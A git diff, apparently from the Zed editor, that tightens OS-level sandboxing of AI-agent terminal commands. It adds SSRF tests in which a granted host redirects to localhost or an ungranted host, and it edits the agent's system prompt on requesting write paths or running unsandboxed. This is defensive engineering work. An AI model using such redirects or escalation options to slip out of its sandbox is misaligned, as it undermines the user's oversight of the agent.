 crates/feature_flags/src/flags.rs             |  11 -
 crates/sandbox/Cargo.toml                     |   4 +
 crates/sandbox/README.md                      |  62 +++
 crates/sandbox/src/bwrap_test_helper.rs       |  64 ++-
 crates/sandbox/src/linux_bubblewrap.rs        | 370 +++++++++++++++---
 crates/sandbox/src/macos_seatbelt.rs          | 131 ++++++-
 crates/sandbox/src/sandbox.rs                 | 178 +++++++++
 crates/settings_content/src/agent.rs          |   8 +
 crates/settings_ui/Cargo.toml                 |   1 +
 .../settings_ui/src/pages/sandbox_settings.rs |  46 +++
 docs/src/ai/sandboxing.md                     | 174 ++++++--
 nix/tests/sandboxing/default.nix              |  50 +++
 29 files changed, 2258 insertions(+), 219 deletions(-)
 create mode 100644 crates/agent_ui/src/unicode_confusables.rs

diff --git a/Cargo.lock b/Cargo.lock
index f65225de1bd947..17acf0e6ed997b 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -494,6 +494,7 @@ dependencies = [
  "heapless",
  "html_to_markdown",
  "http_client",
+ "idna",
  "image",
  "indoc",
  "itertools 0.14.0",
@@ -549,6 +550,7 @@ dependencies = [
  "tree-sitter-md",
  "ui",
  "ui_input",
+ "unicode-script",
  "unicode-segmentation",
  "unindent",
  "url",
@@ -15995,6 +15997,7 @@ dependencies = [
  "libc",
  "log",
  "nix 0.29.0",
+ "seccompiler",
  "serde",
  "serde_json",
  "smol",
@@ -16312,6 +16315,15 @@ dependencies = [
  "zeroize",
 ]
 
+[[package]]
+name = "seccompiler"
+version = "0.5.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "a4ae55de56877481d112a559bbc12667635fdaf5e005712fd4e2b2fa50ffc884"
+dependencies = [
+ "libc",
+]
+
 [[package]]
 name = "secrecy"
 version = "0.10.3"
@@ -16724,6 +16736,7 @@ dependencies = [
  "agent_skills",
  "anyhow",
  "audio",
+ "client",
  "cloud_api_types",
  "codestral",
  "collections",
diff --git a/Cargo.toml b/Cargo.toml
index 916cb147fa5554..c657ff1aefb58a 100644
--- a/Cargo.toml
+++ b/Cargo.toml
@@ -744,6 +744,7 @@ rustls-platform-verifier = "0.5.0"
 # WARNING: If you change this, you must also publish a new version of zed-scap to crates.io
 scap = { git = "https://github.com/zed-industries/scap", rev = "4afea48c3b002197176fb19cd0f9b180dd36eaac", default-features = false, package = "zed-scap", version = "0.0.8-zed" }
 schemars = { version = "1.0", features = ["indexmap2"] }
+seccompiler = "0.5"
 semver = { version = "1.0", features = ["serde"] }
 serde = { version = "1.0.221", features = ["derive", "rc"] }
 serde_json = { version = "1.0.144", features = ["preserve_order", "raw_value"] }
diff --git a/crates/acp_thread/src/acp_thread.rs b/crates/acp_thread/src/acp_thread.rs
index bb5378fd4684c4..c2b2fe35d4d4ff 100644
--- a/crates/acp_thread/src/acp_thread.rs
+++ b/crates/acp_thread/src/acp_thread.rs
@@ -224,6 +224,11 @@ pub struct SandboxFallbackAuthorizationDetails {
     /// whether to run the command without a sandbox.
     #[serde(default)]
     pub reason: String,
+    /// Slug of the sandboxing docs section that best explains how to fix this
+    /// failure (see [`crate::LinuxWslSandboxError::docs_section`]), rendered as a
+    /// "Learn more" link. `None` when the cause is unknown.
+    #[serde(default)]
+    pub docs_section: Option<String>,
 }
 
 pub fn meta_with_sandbox_fallback_authorization(
diff --git a/crates/acp_thread/src/terminal.rs b/crates/acp_thread/src/terminal.rs
index 3bc33e2a957edc..cce475268e68aa 100644
--- a/crates/acp_thread/src/terminal.rs
+++ b/crates/acp_thread/src/terminal.rs
@@ -129,6 +129,31 @@ impl LinuxWslSandboxError {
             LinuxWslSandboxError::Other(message) => message.clone(),
         }
     }
+
+    /// The slug of the sandboxing docs section that best explains how to resolve
+    /// this failure, for deep-linking from the UI. Pair with
+    /// `client::zed_urls::sandboxing_docs`.
+    pub fn docs_section(&self) -> &'static str {
+        match self {
+            // Both "no bwrap" and "only a setuid-root bwrap" are resolved by
+            // installing a non-setuid Bubblewrap.
+            LinuxWslSandboxError::BwrapNotFound | LinuxWslSandboxError::SetuidRejected => {
+                "installing-bubblewrap"
+            }
+            // A failed probe on Linux is almost always disabled unprivileged
+            // user namespaces, which the Ubuntu-specific section covers.
+            LinuxWslSandboxError::SandboxProbeFailed => "installing-bubblewrap-ubuntu",
+            // Catch-all (includes WSL/Windows messages): point at the platform
+            // overview for the current OS.
+            LinuxWslSandboxError::Other(_) => {
+                if cfg!(target_os = "windows") {
+                    "windows"
+                } else {
+                    "linux"
+                }
+            }
+        }
+    }
 }
 
 impl SandboxWrap {
@@ -151,6 +176,15 @@ impl SandboxWrap {
     /// grant as a [`sandbox::HostFilesystemLocation`] (pinning the inode / canonical
     /// path) rather than passing a re-resolvable path. A location that can't be
     /// captured (e.g. it doesn't exist) is dropped from the grant — fail-closed.
+    ///
+    /// This function has **no filesystem side effects**: it never creates paths.
+    /// It is used both by the side-effect-free [`Self::can_create_sandbox`] probe
+    /// and by real sandbox construction, and must behave identically. On Linux a
+    /// writable grant that doesn't exist yet simply can't be captured (bwrap
+    /// can't bind a missing path), so it's dropped here — the sanctioned way to
+    /// get a grant to a new directory is the `create_directory` tool, which
+    /// creates it (pinning the inode) before the grant is recorded. On macOS a
+    /// missing leaf still canonicalizes, so such grants are captured directly.
     fn to_policy(&self) -> sandbox::SandboxPolicy {
         let protected_paths = self
             .protected_paths
@@ -164,12 +198,11 @@ impl SandboxWrap {
                 .writable_paths
                 .iter()
                 .chain(self.extra_write_paths.iter())
-                .filter_map(|path| {
-                    // Create not-yet-existing writable grants (e.g. an approved
-                    // scratch dir) so they can be captured and bound; best-effort.
-                    let _ = std::fs::create_dir_all(path);
-                    sandbox::HostFilesystemLocation::new(path).ok()
-                })
+                // Capture only — never create anything here (see the doc comment):
+                // materializing an approved-but-missing grant is deferred to
+                // `Sandbox::new` so it can never happen during the `can_create`
+                // probe, before the user has approved the grant.
+                .filter_map(|path| sandbox::HostFilesystemLocation::new(path).ok())
                 .collect();
             sandbox::SandboxFsPolicy::Restricted {
                 writable_paths,
diff --git a/crates/agent/src/sandboxing.rs b/crates/agent/src/sandboxing.rs
index e8d6589601eef4..90599fd6551c71 100644
--- a/crates/agent/src/sandboxing.rs
+++ b/crates/agent/src/sandboxing.rs
@@ -5,10 +5,9 @@
 //! caller see the same answer (and so the `target_os` gate lives in one
 //! place instead of scattered across the agent crate).
 //!
-//! The current policy is: enabled iff the user has the `sandboxing` feature
-//! flag turned on, the project is local, the platform has an integration, and
-//! the user has not persistently allowed unsandboxed execution (the
-//! `allow_unsandboxed` sandbox setting). Setting `allow_unsandboxed`
+//! The current policy is: enabled iff the project is local, the platform has an
+//! integration, and the user has not persistently allowed unsandboxed execution
+//! (the `allow_unsandboxed` sandbox setting). Setting `allow_unsandboxed`
 //! persistently turns sandboxing off for the model-facing surface entirely:
 //! the plain (non-sandboxed) `terminal` tool is exposed and the system prompt
 //! omits the sandbox section, since every command would run without a wrap
@@ -19,14 +18,12 @@
 //!
 //! macOS (Seatbelt), Linux (Bubblewrap), and Windows (Bubblewrap via WSL)
 //! have real sandbox integrations; on platforms without one the per-command
-//! wrap is a no-op, so commands run with the agent's ambient permissions even
-//! when the flag is on.
+//! wrap is a no-op, so commands run with the agent's ambient permissions.
 //!
 //! Naming note: this module is about agent terminal sandboxing specifically.
 //! Other agent operations (e.g. file edits) are gated separately.
 
 use agent_settings::{AgentSettings, SandboxPermissions};
-use feature_flags::{FeatureFlagAppExt as _, SandboxingFeatureFlag};
 use gpui::App;
 use http_proxy::HostPattern;
 use project::Project;
@@ -176,12 +173,6 @@ pub fn settings_sandbox_policy(persistent: &SandboxPermissions) -> SandboxPolicy
     SandboxPolicy { fs, network }
 }
 
-/// Whether agent-run terminal commands should be wrapped in an OS-level
-/// sandbox for this process. See module docs for the policy.
-pub(crate) fn sandboxing_enabled(cx: &App) -> bool {
-    cx.has_flag::<SandboxingFeatureFlag>()
-}
-
 /// Whether the sandboxed terminal can be exposed for this project.
 ///
 /// The persistent `allow_unsandboxed` setting turns sandboxing off for the
@@ -193,20 +184,19 @@ pub(crate) fn sandboxing_enabled(cx: &App) -> bool {
 /// prompt in place, since the model is still operating in the sandbox model and
 /// only escaping individual commands (tracked in `ThreadSandboxGrants`).
 pub(crate) fn sandboxing_enabled_for_project(project: &Project, cx: &App) -> bool {
-    sandboxing_available_for_project(project, cx)
+    sandboxing_available_for_project(project)
         && !AgentSettings::get_global(cx)
             .sandbox_permissions
             .allow_unsandboxed
 }
 
-/// Whether sandboxing is *applicable* for this project at all — the feature is
-/// enabled, the project is local, and the platform has a sandbox integration —
-/// independent of the persistent `allow_unsandboxed` setting. Used by the UI to
-/// distinguish "sandboxing isn't relevant here" (don't show the indicator) from
-/// "sandboxing is available but turned off in settings" (show it, struck out).
-pub(crate) fn sandboxing_available_for_project(project: &Project, cx: &App) -> bool {
-    sandboxing_enabled(cx)
-        && project.is_local()
+/// Whether sandboxing is *applicable* for this project at all — the project is
+/// local and the platform has a sandbox integration — independent of the
+/// persistent `allow_unsandboxed` setting. Used by the UI to distinguish
+/// "sandboxing isn't relevant here" (don't show the indicator) from "sandboxing
+/// is available but turned off in settings" (show it, struck out).
+pub(crate) fn sandboxing_available_for_project(project: &Project) -> bool {
+    project.is_local()
         && cfg!(any(
             target_os = "macos",
             target_os = "linux",
diff --git a/crates/agent/src/templates/system_prompt.hbs b/crates/agent/src/templates/system_prompt.hbs
index 160c94328d168a..233a0e45215f6c 100644
--- a/crates/agent/src/templates/system_prompt.hbs
+++ b/crates/agent/src/templates/system_prompt.hbs
@@ -198,7 +198,7 @@ You can request elevated permissions on individual `terminal` calls:
 - `allow_hosts: ["github.com", "*.npmjs.org"]` — allow outbound HTTP/HTTPS to specific hosts (exact hostnames or leading-`*.` subdomain wildcards; no IP literals). Prefer this whenever you know which hosts the command needs.
 - `allow_all_hosts: true` — lift the network restriction entirely: outbound access to any host over any protocol, so SSH, FTP, and raw sockets work too (unlike `allow_hosts`, which is HTTP/HTTPS-only). Use only when the specific hosts can't be enumerated up front.
 {{/if}}
-- `fs_write_paths: ["/abs/or/worktree-relative/path", ...]` — allow writes to specific paths (each directory grants its whole subtree). Prefer this whenever you know which paths the command needs to write. Git metadata paths cannot be requested and will never be made writable while sandboxed.
+- `fs_write_paths: ["/abs/or/worktree-relative/path", ...]` — allow writes to specific paths (each directory grants its whole subtree). Prefer this whenever you know which paths the command needs to write. Each path must be an existing directory. To write into a directory that doesn't exist yet, first create it with the `create_directory` tool (which creates it and grants write access to exactly that directory) rather than requesting write access to a broad existing parent. Git metadata paths cannot be requested and will never be made writable while sandboxed.
 - `allow_fs_write_all: true` — allow unrestricted filesystem writes except protected Git metadata. Only use this when the specific paths can't be enumerated up front.
 - `unsandboxed: true` — run the command with no sandbox at all. Use only when none of the above suffice, including when a command must write Git metadata.
 
diff --git a/crates/agent/src/tests/mod.rs b/crates/agent/src/tests/mod.rs
index 446dee9f4636b8..73415f55af4db8 100644
--- a/crates/agent/src/tests/mod.rs
+++ b/crates/agent/src/tests/mod.rs
@@ -7390,6 +7390,194 @@ async fn test_fetch_tool_unsandboxed_lifts_restrictions(cx: &mut TestAppContext)
     );
 }
 
+/// A granted host that redirects to a loopback target must not have that
+/// redirect followed: loopback hosts can't be granted individually, so the hop
+/// is refused just like a direct loopback fetch. This is the redirect variant of
+/// the SSRF protection — the approved domain can't be used to bounce the request
+/// onto the local machine.
+#[gpui::test]
+async fn test_fetch_tool_refuses_redirect_to_loopback(cx: &mut TestAppContext) {
+    init_test(cx);
+
+    cx.update(|cx| {
+        let mut settings = agent_settings::AgentSettings::get_global(cx).clone();
+        settings.tool_permissions.tools.insert(
+            FetchTool::NAME.into(),
+            agent_settings::ToolRules {
+                default: Some(settings::ToolPermissionMode::Allow),
+                always_allow: vec![],
+                always_deny: vec![],
+                always_confirm: vec![],
+                invalid_patterns: vec![],
+            },
+        );
+        settings
+            .sandbox_permissions
+            .network_hosts
+            .push("example.com".into());
+        agent_settings::AgentSettings::override_global(settings, cx);
+    });
+
+    let http_client = gpui::http_client::FakeHttpClient::create(|req| async move {
+        let uri = req.uri().to_string();
+        assert!(
+            uri.contains("example.com"),
+            "the loopback redirect target must never be requested, but saw {uri}"
+        );
+        Ok(gpui::http_client::Response::builder()
+            .status(302)
+            .header("location", "http://localhost:3000/internal")
+            .body("".into())
+            .unwrap())
+    });
+
+    #[allow(clippy::arc_with_non_send_sync)]
+    let tool = Arc::new(crate::FetchTool::new(http_client));
+    let (event_stream, _rx) = crate::ToolCallEventStream::test();
+
+    let input: crate::FetchToolInput =
+        serde_json::from_value(json!({"url": "https://example.com/start"})).unwrap();
+
+    let task = cx.update(|cx| tool.run(ToolInput::resolved(input), event_stream, cx));
+    let result = task.await;
+    assert!(
+        result.is_err(),
+        "expected a redirect to a loopback host to be refused"
+    );
+    assert!(
+        result.unwrap_err().contains("unsandboxed"),
+        "error should point at unsandboxed access as the way to reach loopback hosts"
+    );
+}
+
+/// A granted host that redirects to a *different*, ungranted host triggers a
+/// fresh per-host authorization prompt for the redirect target — the redirect is
+/// not silently followed to a host the user never approved.
+#[gpui::test]
+async fn test_fetch_tool_reauthorizes_redirect_to_new_host(cx: &mut TestAppContext) {
+    init_test(cx);
+
+    cx.update(|cx| {
+        let mut settings = agent_settings::AgentSettings::get_global(cx).clone();
+        settings.tool_permissions.tools.insert(
+            FetchTool::NAME.into(),
+            agent_settings::ToolRules {
+                default: Some(settings::ToolPermissionMode::Allow),
+                always_allow: vec![],
+                always_deny: vec![],
+                always_confirm: vec![],
+                invalid_patterns: vec![],
+            },
+        );
+        settings
+            .sandbox_permissions
+            .network_hosts
+            .push("example.com".into());
+        agent_settings::AgentSettings::override_global(settings, cx);
+    });
+
+    let http_client = gpui::http_client::FakeHttpClient::create(|req| async move {
+        let uri = req.uri().to_string();
+        assert!(
+            uri.contains("example.com"),
+            "the ungranted redirect target must not be requested before authorization, \
+             but saw {uri}"
+        );
+        Ok(gpui::http_client::Response::builder()
+            .status(302)
+            .header("location", "https://redirect-target.example/landing")
+            .body("".into())
+            .unwrap())
+    });
+
+    #[allow(clippy::arc_with_non_send_sync)]
+    let tool = Arc::new(crate::FetchTool::new(http_client));
+    let (event_stream, mut rx) = crate::ToolCallEventStream::test();
+
+    let input: crate::FetchToolInput =
+        serde_json::from_value(json!({"url": "https://example.com/start"})).unwrap();
+
+    let _task = cx.update(|cx| tool.run(ToolInput::resolved(input), event_stream, cx));
+
+    cx.run_until_parked();
+
+    let authorization = rx.expect_authorization().await;
+    let details =
+        acp_thread::sandbox_authorization_details_from_meta(&authorization.tool_call.meta)
+            .expect("a redirect to an ungranted host should request a sandbox network grant");
+    assert_eq!(
+        details.network_hosts,
+        vec!["redirect-target.example".to_string()]
+    );
+    assert!(!details.network_all_hosts);
+}
+
+/// Redirects between paths on an already-granted host are followed without any
+/// additional prompt, so ordinary redirects (http→https upgrades, trailing-slash
+/// canonicalization, etc.) keep working after the per-hop authorization change.
+#[gpui::test]
+async fn test_fetch_tool_follows_same_host_redirect(cx: &mut TestAppContext) {
+    init_test(cx);
+
+    cx.update(|cx| {
+        let mut settings = agent_settings::AgentSettings::get_global(cx).clone();
+        settings.tool_permissions.tools.insert(
+            FetchTool::NAME.into(),
+            agent_settings::ToolRules {
+                default: Some(settings::ToolPermissionMode::Allow),
+                always_allow: vec![],
+                always_deny: vec![],
+                always_confirm: vec![],
+                invalid_patterns: vec![],
+            },
+        );
+        settings
+            .sandbox_permissions
+            .network_hosts
+            .push("example.com".into());
+        agent_settings::AgentSettings::override_global(settings, cx);
+    });
+
+    let http_client = gpui::http_client::FakeHttpClient::create(|req| async move {
+        let uri = req.uri().to_string();
+        if uri.ends_with("/start") {
+            Ok(gpui::http_client::Response::builder()
+                .status(302)
+                .header("location", "https://example.com/final")
+                .body("".into())
+                .unwrap())
+        } else if uri.ends_with("/final") {
+            Ok(gpui::http_client::Response::builder()
+                .status(200)
+                .header("content-type", "text/plain")
+                .body("final content".into())
+                .unwrap())
+        } else {
+            panic!("unexpected request to {uri}");
+        }
+    });
+
+    #[allow(clippy::arc_with_non_send_sync)]
+    let tool = Arc::new(crate::FetchTool::new(http_client));
+    let (event_stream, mut rx) = crate::ToolCallEventStream::test();
+
+    let input: crate::FetchToolInput =
+        serde_json::from_value(json!({"url": "https://example.com/start"})).unwrap();
+
+    let task = cx.update(|cx| tool.run(ToolInput::resolved(input), event_stream, cx));
+    let result = task.await;
+    assert_eq!(
+        result.expect("same-host redirect should succeed"),
+        "final content"
+    );
+
+    let event = rx.try_recv();
+    assert!(
+        !matches!(event, Ok(Ok(ThreadEvent::ToolCallAuthorization(_)))),
+        "expected no authorization prompt for a redirect to an already-granted host"
+    );
+}
+
 /// Approving one pending tool call with "Always for <tool>" auto-resolves
 /// sibling pending authorizations for the same tool in the same turn.
 #[gpui::test]
diff --git a/crates/agent/src/thread.rs b/crates/agent/src/thread.rs
index 2c8c5e3dea36f8..fe5c9f2004cb70 100644
--- a/crates/agent/src/thread.rs
+++ b/crates/agent/src/thread.rs
@@ -1846,12 +1846,12 @@ impl Thread {
         sandboxing_enabled_for_project(self.project.read(cx), cx)
     }
 
-    /// Whether sandboxing is *applicable* for this thread's project (feature on,
-    /// local project, supported platform), regardless of whether it's been
-    /// turned off in settings. The UI shows the sandbox indicator whenever this
-    /// is true, drawing it struck-out when sandboxing is disabled.
+    /// Whether sandboxing is *applicable* for this thread's project (local
+    /// project, supported platform), regardless of whether it's been turned off
+    /// in settings. The UI shows the sandbox indicator whenever this is true,
+    /// drawing it struck-out when sandboxing is disabled.
     pub fn sandboxing_available(&self, cx: &App) -> bool {
-        sandboxing_available_for_project(self.project.read(cx), cx)
+        sandboxing_available_for_project(self.project.read(cx))
     }
 
     /// The directory subtrees the sandbox always grants write access to for this
@@ -5926,10 +5926,15 @@ impl ToolCallEventStream {
         &self,
         command: Option<String>,
         reason: String,
+        docs_section: Option<String>,
         retries: usize,
         cx: &mut App,
     ) -> Task<Result<SandboxFallbackDecision>> {
-        let details = acp_thread::SandboxFallbackAuthorizationDetails { command, reason };
+        let details = acp_thread::SandboxFallbackAuthorizationDetails {
+            command,
+            reason,
+            docs_section,
+        };
         let retry_label = if retries == 0 {
             "Retry".to_string()
         } else {
@@ -7686,6 +7691,7 @@ mod tests {
             event_stream.authorize_sandbox_fallback(
                 Some("cargo build".to_string()),
                 "bwrap not found on PATH".to_string(),
+                Some("installing-bubblewrap".to_string()),
                 0,
                 cx,
             )
@@ -7697,6 +7703,10 @@ mod tests {
         .expect("fallback authorization should include details");
         assert_eq!(details.command.as_deref(), Some("cargo build"));
         assert_eq!(details.reason, "bwrap not found on PATH");
+        assert_eq!(
+            details.docs_section.as_deref(),
+            Some("installing-bubblewrap")
+        );
 
         let acp_thread::PermissionOptions::Flat(options) = &authorization.options else {
             panic!("expected flat fallback permission options");
@@ -7737,6 +7747,7 @@ mod tests {
                 event_stream.authorize_sandbox_fallback(
                     None,
                     "probe failed".to_string(),
+                    None,
                     retries,
                     cx,
                 )
@@ -7781,6 +7792,7 @@ mod tests {
             event_stream.authorize_sandbox_fallback(
                 Some("cargo build".to_string()),
                 "user namespaces are disabled".to_string(),
+                None,
                 0,
                 cx,
             )
@@ -7810,7 +7822,13 @@ mod tests {
 
         let (event_stream, mut receiver) = ToolCallEventStream::test();
         let authorize = cx.update(|cx| {
-            event_stream.authorize_sandbox_fallback(None, "bwrap probe failed".to_string(), 0, cx)
+            event_stream.authorize_sandbox_fallback(
+                None,
+                "bwrap probe failed".to_string(),
+                None,
+                0,
+                cx,
+            )
         });
         let authorization = receiver.expect_authorization().await;
         authorization
diff --git a/crates/agent/src/tools/create_directory_tool.rs b/crates/agent/src/tools/create_directory_tool.rs
index 308e7b9145805f..22918c43154857 100644
--- a/crates/agent/src/tools/create_directory_tool.rs
+++ b/crates/agent/src/tools/create_directory_tool.rs
@@ -5,7 +5,7 @@ use super::tool_permissions::{
 use agent_client_protocol::schema::v1 as acp;
 use agent_settings::AgentSettings;
 use futures::FutureExt as _;
-use gpui::{App, Entity, SharedString, Task};
+use gpui::{App, AppContext as _, AsyncApp, Entity, SharedString, Task};
 use project::Project;
 use schemars::JsonSchema;
 use serde::{Deserialize, Serialize};
@@ -17,12 +17,13 @@ use crate::{
     AgentTool, ToolCallEventStream, ToolInput, ToolPermissionDecision,
     authorize_with_sensitive_settings, decide_permission_for_path,
 };
-use std::path::Path;
+use std::path::{Path, PathBuf};
 
-/// Creates a new directory at the specified path within the project. Returns confirmation that the directory was created.
+/// Creates a new directory at the specified path, and all necessary parent directories. Returns confirmation that the directory was created.
 ///
-/// This tool creates a directory and all necessary parent directories. It should be used whenever you need to create new directories within the project.
-/// The only supported path outside the project is `~/.agents/skills` or a descendant, for global agent skills.
+/// Use this whenever you need to create new directories. Paths inside the project are created directly.
+///
+/// This tool can also create a directory **outside** the project. When agent terminal commands are sandboxed, doing so grants those commands write access to exactly that new directory — so, rather than requesting write access to a broad existing parent (e.g. your home directory) just to create something inside it, create the specific directory here first and then write into it. The only other supported path outside the project is `~/.agents/skills` or a descendant, for global agent skills.
 #[derive(Debug, Serialize, Deserialize, JsonSchema)]
 pub struct CreateDirectoryToolInput {
     /// The path of the new directory.
@@ -40,6 +41,13 @@ pub struct CreateDirectoryToolInput {
     /// To create a global agent skill directory, you may provide a path under `~/.agents/skills`, such as `~/.agents/skills/my-skill`.
     /// </example>
     pub path: String,
+
+    /// Justification for creating a directory **outside** the project, shown to
+    /// the user (attributed to you) in the approval prompt that grants sandboxed
+    /// terminal commands write access to it. Required only for out-of-project
+    /// paths; ignored for paths inside the project or the global skills dir.
+    #[serde(default)]
+    pub reason: Option<String>,
 }
 
 pub struct CreateDirectoryTool {
@@ -83,6 +91,28 @@ impl AgentTool for CreateDirectoryTool {
         let project = self.project.clone();
         cx.spawn(async move |cx| {
             let input = input.recv().await.map_err(|e| e.to_string())?;
+
+            let fs = project.read_with(cx, |project, _cx| project.fs().clone());
+
+            // Resolve where this directory lives. The global agent-skills dir is a
+            // special case allowed outside the project; anything else outside the
+            // project is handled as a narrow sandbox write grant below.
+            let global_skill_directory =
+                resolve_creatable_global_skill_path(Path::new(&input.path), fs.as_ref()).await;
+            let in_project = project.read_with(cx, |project, cx| {
+                project.find_project_path(&input.path, cx).is_some()
+            });
+
+            // A path outside the project (and not the global skills dir) can only
+            // be created as a narrow sandbox write grant: create the directory and
+            // grant sandboxed terminal commands write access to exactly it. The
+            // sandbox approval prompt — which shows the real, canonicalized target
+            // — fully replaces the normal permission and symlink-escape prompts
+            // here.
+            if global_skill_directory.is_none() && !in_project {
+                return create_out_of_project_directory(&project, &input, &event_stream, cx).await;
+            }
+
             let decision = cx.update(|cx| {
                 decide_permission_for_path(Self::NAME, &input.path, AgentSettings::get_global(cx))
             });
@@ -93,7 +123,6 @@ impl AgentTool for CreateDirectoryTool {
 
             let destination_path: Arc<str> = input.path.as_str().into();
 
-            let fs = project.read_with(cx, |project, _cx| project.fs().clone());
             let canonical_roots = canonicalize_worktree_roots(&project, &fs, cx).await;
 
             let symlink_escape_target = project.read_with(cx, |project, cx| {
@@ -149,9 +178,7 @@ impl AgentTool for CreateDirectoryTool {
                 authorize.await.map_err(|e| e.to_string())?;
             }
 
-            if let Some(global_skill_directory) =
-                resolve_creatable_global_skill_path(Path::new(&input.path), fs.as_ref()).await
-            {
+            if let Some(global_skill_directory) = global_skill_directory {
                 futures::select! {
                     result = fs.create_dir(&global_skill_directory).fuse() => {
                         result.map_err(|e| format!("Creating directory {destination_path}: {e}"))?;
@@ -185,6 +212,100 @@ impl AgentTool for CreateDirectoryTool {
     }
 }
 
+/// Create a directory that lives **outside** the project by granting sandboxed
+/// terminal commands write access to exactly it.
+///
+/// The directory is created (Linux: eagerly, pinning the inode; macOS: after
+/// approval) and the user is shown the real, canonicalized target in the sandbox
+/// approval prompt — which is what defends against a concurrent symlink swap: the
+/// grant is always against the inode/path the user actually saw. On denial, only
+/// the directories we created are removed.
+async fn create_out_of_project_directory(
+    project: &Entity<Project>,
+    input: &CreateDirectoryToolInput,
+    event_stream: &ToolCallEventStream,
+    cx: &mut AsyncApp,
+) -> Result<String, String> {
+    // Narrowing a grant to a brand-new directory only makes sense when the
+    // project's terminal commands are sandboxed, and only on platforms that can
+    // grant a not-yet-existing directory. Otherwise keep the historical
+    // "outside the project" rejection.
+    let sandboxing = project.read_with(cx, |project, cx| {
+        crate::sandboxing::sandboxing_enabled_for_project(project, cx)
+    });
+    let platform_supported = cfg!(any(target_os = "linux", target_os = "macos"));
+    if !sandboxing || !platform_supported {
+        return Err("Path to create was outside the project".to_string());
+    }
+
+    let Some(reason) = input
+        .reason
+        .as_deref()
+        .map(str::trim)
+        .filter(|reason| !reason.is_empty())
+    else {
+        return Err(
+            "Creating a directory outside the project grants sandboxed terminal commands write \
+             access to it, so a `reason` is required: briefly justify why the directory is needed, \
+             then try again."
+                .to_string(),
+        );
+    };
+    let reason = reason.to_string();
+
+    let absolute = resolve_absolute_path(project, &input.path, cx)
+        .ok_or_else(|| format!("Couldn't resolve `{}` to an absolute path.", input.path))?;
+
+    let prepared = cx
+        .background_spawn(async move { sandbox::GrantableWriteDir::prepare(&absolute) })
+        .await
+        .map_err(|error| format!("Creating directory {}: {error}", input.path))?;
+
+    let canonical = prepared.canonical_path().to_path_buf();
+    let request = crate::sandboxing::SandboxRequest {
+        write_paths: vec![canonical.clone()],
+        ..Default::default()
+    };
+
+    let approve = cx.update(|cx| event_stream.authorize_sandbox(request, reason, cx));
+    match approve.await {
+        Ok(()) => {
+            let display = canonical.display().to_string();
+            cx.background_spawn(async move { prepared.finalize() })
+                .await
+                .map_err(|error| format!("Creating directory {display}: {error}"))?;
+            Ok(format!("Created directory {display}"))
+        }
+        Err(error) => {
+            // Roll back exactly what we created; leave the user no litter.
+            cx.background_spawn(async move { prepared.discard() }).await;
+            Err(format!("Create directory cancelled: {error}"))
+        }
+    }
+}
+
+/// Resolve a model-provided path to an absolute, lexically-normalized path.
+/// Relative paths are joined onto the first worktree root.
+fn resolve_absolute_path(
+    project: &Entity<Project>,
+    raw: &str,
+    cx: &mut AsyncApp,
+) -> Option<PathBuf> {
+    let path = Path::new(raw);
+    let absolute = if path.is_absolute() {
+        path.to_path_buf()
+    } else {
+        let base = project.read_with(cx, |project, cx| {
+            project
+                .worktrees(cx)
+                .next()
+                .map(|worktree| worktree.read(cx).abs_path().to_path_buf())
+        })?;
+        base.join(path)
+    };
+    util::paths::normalize_lexically(&absolute).ok()
+}
+
 #[cfg(test)]
 mod tests {
     use super::*;
@@ -231,7 +352,10 @@ mod tests {
         let (event_stream, mut event_rx) = ToolCallEventStream::test();
         let task = cx.update(|cx| {
             tool.run(
-                ToolInput::resolved(CreateDirectoryToolInput { path: input_path }),
+                ToolInput::resolved(CreateDirectoryToolInput {
+                    path: input_path,
+                    reason: None,
+                }),
                 event_stream,
                 cx,
             )
@@ -286,6 +410,7 @@ mod tests {
                 tool.run(
                     ToolInput::resolved(CreateDirectoryToolInput {
                         path: outside_path.to_string_lossy().into_owned(),
+                        reason: None,
                     }),
                     event_stream,
                     cx,
@@ -342,6 +467,7 @@ mod tests {
             tool.run(
                 ToolInput::resolved(CreateDirectoryToolInput {
                     path: "project/link_to_external".into(),
+                    reason: None,
                 }),
                 event_stream,
                 cx,
@@ -404,6 +530,7 @@ mod tests {
             tool.run(
                 ToolInput::resolved(CreateDirectoryToolInput {
                     path: "project/link_to_external".into(),
+                    reason: None,
                 }),
                 event_stream,
                 cx,
@@ -463,6 +590,7 @@ mod tests {
             tool.run(
                 ToolInput::resolved(CreateDirectoryToolInput {
                     path: "project/link_to_external".into(),
+                    reason: None,
                 }),
                 event_stream,
                 cx,
@@ -545,6 +673,7 @@ mod tests {
                 tool.run(
                     ToolInput::resolved(CreateDirectoryToolInput {
                         path: "project/link_to_external".into(),
+                        reason: None,
                     }),
                     event_stream,
                     cx,
@@ -561,4 +690,107 @@ mod tests {
             "Deny policy should not emit symlink authorization prompt",
         );
     }
+
+    /// Out-of-project creation goes through the sandbox write-grant prompt and,
+    /// on approval, creates the *specific* new directory (not its broad parent).
+    #[cfg(any(target_os = "linux", target_os = "macos"))]
+    #[gpui::test]
+    async fn test_create_directory_out_of_project_creates_and_grants(cx: &mut TestAppContext) {
+        init_test(cx);
+
+        let fs = FakeFs::new(cx.executor());
+        fs.insert_tree(path!("/root"), json!({ "project": { "src": {} } }))
+            .await;
+        let project = Project::test(fs.clone(), [path!("/root/project").as_ref()], cx).await;
+        cx.executor().run_until_parked();
+
+        // The sandbox create path operates on the *real* filesystem, so use a
+        // real directory outside the (fake) project.
+        let scratch = tempfile::tempdir().unwrap();
+        let target = scratch.path().join("new_grant_dir");
+        assert!(!target.exists());
+
+        let tool = Arc::new(CreateDirectoryTool::new(project));
+        let (event_stream, mut event_rx) = ToolCallEventStream::test();
+        let path_input = target.to_string_lossy().into_owned();
+        let task = cx.update(|cx| {
+            tool.run(
+                ToolInput::resolved(CreateDirectoryToolInput {
+                    path: path_input,
+                    reason: Some("scratch space for the build".into()),
+                }),
+                event_stream,
+                cx,
+            )
+        });
+
+        let auth = event_rx.expect_authorization().await;
+        let details = acp_thread::sandbox_authorization_details_from_meta(&auth.tool_call.meta)
+            .expect("out-of-project create should request a sandbox write grant");
+        // The grant is for exactly the new directory, not its parent.
+        assert_eq!(
+            details.write_paths,
+            vec![scratch.path().canonicalize().unwrap().join("new_grant_dir")]
+        );
+
+        auth.response
+            .send(acp_thread::SelectedPermissionOutcome::new(
+                acp::PermissionOptionId::new(acp_thread::SandboxPermission::AllowThread.as_id()),
+                acp::PermissionOptionKind::AllowAlways,
+            ))
+            .unwrap();
+
